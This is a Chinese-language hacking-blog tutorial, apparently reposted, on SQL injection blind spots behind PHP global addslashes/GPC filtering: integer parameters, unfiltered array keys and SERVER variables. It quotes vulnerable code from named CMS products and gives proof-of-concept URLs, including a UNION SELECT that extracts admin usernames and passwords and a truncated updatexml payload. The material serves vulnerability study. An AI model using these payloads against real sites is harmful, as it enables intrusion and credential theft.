记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结前篇

2016-05-02 01:35

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~

盲点如下:

①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。

附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02 环境搭建

环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~

0x03 漏洞分析

首先是完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

A.传入的参数未做intval转换、构造的sql语句没有单引号保护


require_once "admin/common.php"; require_once(MOBAN_PATH_QZ."header.html"); //这里typeid没有做整形转换 $typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1; //sql语句没有单引号保护 $type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型; ?>

 

获取管理员账户密码的POC:


http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

\

B.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号

简单分析下漏洞原理

首先$itemid经过的第一条SQL语句如下


$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')

$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:

\

然后后面第二条delete的sql语句如下

 


$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');

这里忘记加单引号了,根据上图我们可以构造获取数据库用户的POC:


http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat()))

\

C.php弱类型语言,判断逻辑错误引发注入

这里只讲下漏洞形成的原理

 

\

 

如上图,弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。

 

知识来源: www.2cto.com/Article/201605/504452.html

阅读:88663 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结前篇”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词